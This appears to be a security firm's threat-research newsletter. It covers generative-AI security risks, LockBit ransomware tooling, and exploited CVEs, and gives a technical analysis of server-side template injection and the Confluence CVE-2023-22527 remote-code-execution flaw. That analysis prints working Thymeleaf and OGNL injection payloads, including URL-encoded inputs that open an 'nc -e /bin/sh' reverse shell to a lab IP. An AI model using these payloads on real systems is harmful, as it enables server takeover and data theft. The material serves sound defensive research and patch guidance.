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highly qualified security experts with proven capabilities in the field  

of cyber threat analysis and research.
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Headline 
  

 

Security threats and response strategies according to 

the development of generative AI technology  

Company 

name 
Service name Country Description 

Text 

Open AI ChatGPT US 
A conversational AI service created based on the large 

language AI model GPT 

Google Bard US 
A conversational AI service created based on the large 

language AI model LaMDA 

DeepMind Sparrow UK 
An AI Chatbot based on DeepMind’s language model 

Chinchilla 

Jasper Jasper US 
An AI tool that generates blog articles, social media posts and 

advertising copies for marketing purposes 

Baidu Ernie Bot China 
A self-developed AI Chatbot for improved expression through 

knowledge integration 

Image 

Open AI DALL·E US Image creation according to the prompt (command) 

Stability AI Stable Diffusion UK An image generation AI, which is an open source software 

Midjourney Midjourney US 

An image generation AI. A work created using this tool 

became a hot topic after being selected as first place in an 

art competition in the US. 

Voice 

Google MusicLM US A generative AI that turns text descriptions into music 

Open AI Jukebox US 
An AI technology that creates music in the desired genre and 

singer style 

Video 

Google Imagen Video US 
A Text to Video AI creation tool that can create video at up to 

24 frames per second and 1280X768 resolution. 

Meta Make-A-Video US 
A Text to Video AI model that creates a video when text is 

entered 
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Internal factor External factor 

- Registration of sensitive information, confidential 

documents, etc. 

- Unverified use of inaccurate information provided by 

AI models 

- neglect in managing the AI models they are using and 

managing 

- AI models and related application vulnerability attacks 

- Malicious mail, phishing attack exploiting generative AI 

- Use of AI model models containing malwares and 

backdoors 
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Analysis and response methods using generative AI 

1. Stipulating what can be entered 

- Enter only pre-defined or reviewed information 

- Do not enter account information, credit card and personal information. 

- Do not enter confidential business information 

2. Reinforcing security training related to malicious e-mails and the business e-mail management system 

- Beware of malicious e-mails elaborately forged through AI 

3. Use generative AI after reevaluating the accuracy, ethics, suitability, security, etc. of the product 

- Use generative AI after reviewing whether the product is accurate and whether there is any legal/ethical issue. 

- When creating and using program codes, use generative AI after reviewing source code security, e.g., changing 

variable names. 

4. Securing in-house data stability 

- Use multi-factor authentication (MFA) for access accounts. 

- Set access limits to the AI models you are using and managing. 

- Set response and query limit keywords (account information, etc.) for AI. 

- Manage API keys securely. 

5. Use trustworthy AI models and application, and regularly check for vulnerabilities. 

6. Make continuous efforts to secure defense technologies, e.g., malware analysis and threat identification using AI. 

 



 

EQST insight | 6 

 



 

EQST insight | 7 

https://blog.naver.com/sk_shieldus/223247216129
https://blog.naver.com/sk_shieldus/223247216129
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Keep up with Ransomware 
   

 

LockBit is back, unfinished ransomware attacks

◼
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File name Description 

Chocolatey Command line-based package manager for Windows software 

Rclone An external storage management and upload/download program 

WinSCP A Windows program that can transfer or manage files between a computer and a server 

PsExec A tool that can run random processes on the local/remote system. 

StealBit A self-developed information theft automation tool 

Mimikatz 
A tool to extract sensitive information such as passwords and credentials from the 

memory of the Windows system 
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Argument Description 

-path {path} Encrypt only the specified path 

-pass {32Bytes key} Enter the key necessary for executing the ransomware 

-safe Encrypt files after booting in safe mode 

-wall Change desktop and print the ransom note 

-gspd Modify group policies and propagate them internally 

-psex Use managed sharing for internal propagation 

-gdel Delete group policy changes 

-del Self-delete after execution 
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CVE Description Affected version Patch version 

CVE-2018-13379 

When using SSL VPN29 in Fortinet's secure OS FortiOS, 

vulnerability in exploring the file path where system files 

can be downloaded 

5.4.6 ~ 5.4.12 

5.6.3 ~ 5.6.7 

6.0.0 ~ 6.0.4 

5.6.8 and higher 

6.0.5 and higher 

CVE-2020-0796 
Remote code execution vulnerability that occurs in SMB 

3.1.1, a resource sharing protocol used by Windows 

Windows 10 & 

Server 2016 

(build 1903, 1909) 

KB4551762 

update 

CVE-2021-44228 
Remote code execution vulnerability discovered in 

Log4j, a JAVA-based open source logging library 

2.0-beta9 ~ 2.15.0 

(excluding 2.12.2, 

2.12.3, and 2.3.1) 

2.12.2, 2.12.3, 2.3.1, 

2.16.0 and higher 

CVE-2021-22986 

Remote code execution vulnerability occurring on BIG-IP 

and BIG-IQ, what are F5's application distribution 

network equipment 

16.0.*, 15.1.*, 

14.1.*, 13.1.*, and 

12.1.* before the 

patch version 

16.0.1.1 and higher 

15.1.2.1 and higher 

14.1.4 and higher 

13.1.3.6 and higher 

12.1.5.3 and higher 

CVE-2021-26855 

CVE-2021-26857 

CVE-2021-26858 

CVE-2021-27065 

Remote code execution vulnerability occurring in 

Exchange Server, MS's email server 

Exchange Server 

2013, 2016, 2019 
KB5000871 update 

CVE-2021-36942 

Vulnerability in Windows Server that can allow an 

unauthenticated attacker to be authenticated for 

another server through the domain controller 

2008 r2 sp1, 2016, 

2008 sp2, 2012, 

2012 r2, 2020 h2, 

2004, and 2019 

KB5005076 or 

KB5005106 update 

CVE-2022-3653 
Heap buffer overflow vulnerability occurring in the 

Vulkan graphics engine of the Chrome browser 

Lower than 

107.0.5304.62 

107.0.5304.62 

and higher 

CVE-2022-36537 

Vulnerability that occurs in the open source JAVA 

framework Zk Framework, which allows access to 

sensitive information by manipulating POST requests 

9.6.1, 9.6.0.1, 

9.0.1.2, and 8.6.4.1 
9.6.2 and higher 

CVE-2023-0669 
Vulnerability that allows remote code execution in 

Forta's security management file transfer software 

GoAnywhere MFT 

7.1.1 and lower 7.1.2 and higher 

CVE-2023-20269 

Vulnerability that can obtain credentials due to the 

remote access VPN vulnerability of the Integrated 

security platform Cisco ASA and next-generation threat 

defense platform Cisco FTD software 

9.19.1.18 and 

lower 
9.20 and higher 

CVE-2023-27350 

CVE-2023-27351 

Vulnerability that allows remote code execution after 

accessing the server as an administrator by bypassing 

user credentials in the print management software 

PaperCut 

15.0.0 ~ 20.1.7, 

21.0.0 ~ 21.2.11, 

22.0.0 ~ 22.0.9 

20.1.7 and higher 

21.2.11 and higher 

22.0.9 and higher 

CVE-2023-4966 
Information leak vulnerability occurring in networking 

products, i.e. NetScaler ADC and NetScaler Gateway 

14.1*, 13.1*, 13.0* 

before the patch 

version 

14.1-8.50 and higher 

13.1-49.15 and higher 

13.0-92.19 and higher 

CVE-2024-1709 

Vulnerability of ScreenConnect, i.e. an authentication 

bypass vulnerability, that can create a system 

administrator account on a remote desktop 

23.9.7 or lower 23.9.8 and higher 
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임서은.docx 

sed.exe 

저작권 침해관련 안내(제작자입니다).eml 

입사지원서_220822(경력사항도 같이 기재하였으니 확인부탁드립니다).exe 

이미지 원본(제가 제작한 이미지)과 사용하고 있으신 이미지 정리한 내용.exe 

5c9b94f7aed569bb91c77cb0bf8a4f0c13145f8ac35bccc961c973720e46cc62 

a4219b77de0ee4c2e17011b95acc69432bcb1a8dc4eb761027b9c997144a76dd 

cafaaadd3747dfec3df88a34fea56695a0b5b03b27091b770075a72b03d2d105 

917e115cc403e29b4388e0d175cbfac3e7e40ca1742299fbdb353847db2de7c2 

535e0dbd97cb9ea66f375400b550dd3bcad0788a89fb46996a651053a2df07c3 

4ade4f6ed21b33f627fcc704db4cbfb3dd807516c1e6fc52ae6edb8a66bc80a5 

1f0617725b2a0b0c3bb1067f0b77da049da0545710d9743813969b3bbcc563f4 
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Research & Technique 
    

 

SSTI & Atlassian Confluence RCE vulnerability (CVE-

2023-22527)

1. Server-Side Template Injection(SSTI) 
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■ How SSTI works 

 
 

① The attacker uses a specific template statement to check if there is an SSTI vulnerability. 

② When the SSTI vulnerability is confirmed, the attacker inserts a malicious template statement to upload 

malicious codes and execute remote commands. 

③ The vulnerable server interprets the attacker's input value as a template statement and returns the result of 

executing the template statement. 

④ The attacker takes over key information from the server by executing the malicious template statement. 
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■ Server-side template engines for individual major languages 

Language Framework Template Engine Examples of template statementes 

Python Flask Jinja2 {{7*7}} 

C# ASP.Net Razor @(7*7) 

Java Springboot Thymeleaf ${7*7} 

JavaScript - Jade = 7*7 

PHP Symphony Twig {{7*7}} 
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■ SSTI attack analysis 

import org.thymeleaf.spring5.SpringTemplateEngine; 

import org.thymeleaf.templateresolver.ITemplateResolver; 

import org.thymeleaf.templateresolver.StringTemplateResolver; 

… (omitted) … 

public class MainController { 

    @RequestMapping("/thymeleaf") 

    @ResponseBody 

    public String thymeleaf(@RequestParam(defaultValue="sktester") String username, HttpServletRequest 

request, HttpServletResponse response) { 

        String template = "<!DOCTYPE html><html lang='en'><head>" + 

        … (omitted) … 

        + name +"</p></body></html>"; 

        TemplateEngine templateEngine = new SpringTemplateEngine(); 

        ITemplateResolver templateResolver = new StringTemplateResolver(); 

        templateEngine.setTemplateResolver(templateResolver); 

        WebContext ctx = new WebContext(request, response, request.getServletContext()); 

        … (omitted) … 

        Writer out = new StringWriter(); 

        templateEngine.process(template, ctx, out); 

        return out.toString();}

Separator Description Example 

${ … } Variable expression <div th:text=”${foo}”></div> 

@{ … } URL link expression 
<li><a th:href=”@{/foo(param1=${param1}, 

param2=${param2})}”>foo</a></li> 

[[ … ]] Direct data access [[${data}]] 

th:text Data access in the tag <h1 th:text=”${data}”>data</h1> 

(※ https://www.thymeleaf.org/doc/tutorials/3.0/uingthymeleaf.html#standard-expression-syntax) 

https://www.thymeleaf.org/doc/tutorials/3.0/uingthymeleaf.html#standard-expression-syntax
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Payload [[${7*7}]] 

Input value ?username= %5b%5b%24%7b%37%2a%37%7d%5d%5d 

Payload <a th:text=${7*7}></a> 

Input value 
?username=%3c%61%20%74%68%3a%74%65%78%74%3d%24%7b%37%2a%37%7d 

%3e%3c%2f%61%3e 
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Payload 
<a th:text=”${‘’.getClass().forName(‘java.lang.Runtime’).getRuntime().exec(‘nc –e 

 /bin/sh 192.168.102.61 8888’)}”></a> 

Input value 

?username= <a%20th%3atext%3d”%24%7b%27%27%2egetClass%28%29%2eforName%28%27 

java%2elang%2eRuntime%27%29%2egetRuntime%28%29%2eexec%28%27nc%20-

e%20%2fbin%2fsh%20192%2e168%2e102%2e61%208888%27%29%7d”><%2fa> 
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Payload 
<th th:text="${T( java.lang.Runtime).getRuntime().exec('nc -e /bin/sh 192.168.102.61 

8888')}">Test</th> 

Input value 

?username= <th%20th%3atext%3d"%24%7bT%28java%2elang%2eRuntime%29%2egetRuntime 

%28%29%2eexec%28%27nc%20-e%20%2fbin%2fsh%20192%2e168%2e102%2e61 

%208888%27%29%7d">Test<%2fth> 

 

 

 

Payload [[${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("nc -e /bin/sh 192.168.102.61 8888")}]] 

Input value 
?username=%5b%5b%24%7b%23rt%20%3d%20%40java%2elang%2eRuntime%40getRuntime%28%29%2c%

23rt%2eexec%28"nc%20-e%20%2fbin%2fsh%20192%2e168%2e102%2e61%208888"%29%7d%5d%5d 
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■ How to respond to SSTI 

#!/usr/bin/python3 

from flask import * 

 

… (omitted) … 

@app.route('/', methods=[‘POST’,’GET’]) 

def index(): 

    a = int(request.form[‘a’]) 

    return render_template(‘index.html’, a=a) 

… (omitted) …
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Payload {{7*7}} 

Input value ?id=%7b%7b7%2a7%7d%7d 

 

 

Examples of filtering targets 

- = + . , / 

? : ^ $ # @ 

* \ “ ※ ~ & 

% ! ( ) [ ] 

< > { } ` _ 
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2. Atlassian Confluence Server and Data Center remote code 

execution vulnerability (CVE-2023-22527) 

■ Outline of the vulnerability 
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■ Attack scenario 

① The attacker searches for a Confluence server through the OSINT search engine. 

② The attacker uses the CVE-2023-22527 vulnerability to access the victimized server. 

③ The attacker connects to the Reverse Shell by executing remote commands. 

④ The attacker takes control of the victim's server and steals key information.

■ Affected software versions 

S/W type Vulnerable version 

Atlassian Confluence Data Center and Server 

8.0.x 

8.1.x 

8.2.x 

8.3.x 

8.4.x 

8.5.0 ~ 8.5.3 
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■ Test environment configuration information 

Name Information 

Victim 

Ubuntu 22.04.3 LTS 

Atlassian Confluence 8.5.3 

(172.25.48.1) 

Attacker 
Kali Linux 

(192.168.142.135) 

■ Vulnerability test 

https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2023-22527
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$ python3 CVE-2023-22527.py --target [Confluence server address] –-cmd [command] 

 

 

 

https://github.com/Avento/CVE-2023-22527_Confluence_RCE
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■ Detailed analysis of the vulnerability 

 

 

 

https://www.skshieldus.com/download/files/download.do?o_fname=EQST%20insight_%ED%86%B5%ED%95%A9%EB%B3%B8_202209.pdf&r_fname=20220926092549714.pdf
https://www.skshieldus.com/download/files/download.do?o_fname=EQST%20insight_%ED%86%B5%ED%95%A9%EB%B3%B8_202209.pdf&r_fname=20220926092549714.pdf
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Separator Description Example 

#var See variable #var = 99 

@class@method(args) Call static method 
@java.util.LinkedHashMap@{“foo”:”foo 

value”, “bar” :”bar value”} 

(※ https://commons.apache.org/dormant/commons-ognl/language-guide.html) 
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?label=\u0027%2b#[OGNL execution statement]%2b\u0027 
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object Whether RCE is possible 

#request[‘.KEY_velocity.struts2.context’] RCE is possible 

#request[‘.freemarker.TemplateModel’] RCE is possible 

#request[‘.freemarker.Request’] Accessible 

 

https://github.com/apache/struts/blob/266d2d4ed526edbb8e8035df94e94a1007d7c360/plugins/velocity/src/main/java/org/apache/struts2/views/velocity/VelocityManager.java
https://github.com/apache/struts/blob/266d2d4ed526edbb8e8035df94e94a1007d7c360/plugins/velocity/src/main/java/org/apache/struts2/views/velocity/VelocityManager.java
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Input value 

?label=\u0027%2b%23request\u005b\u0027.KEY_velocity.struts2.context\u0027 

\u005d.internalGet(\u0027ognl\u0027).findValue(%23parameters.x,{})%2b\u0027 

&x=@org.apache.struts2.ServletActionContext@getResponse().getWriter().write(( 

new freemarker.template.utility.Execute()).exec({"id"})) 
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■ Countermeasure 

 

Product Patched version 

Confluence Data Center and Confluence Server 8.5.4(LTS) 

Confluence Data Center 
8.6.0(Data Center Only) 

8.7.1(Data Center Only) 

https://confluence.atlassian.com/kb/faq-for-cve-2023-22527-1332810917.html
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■ Reference sites 
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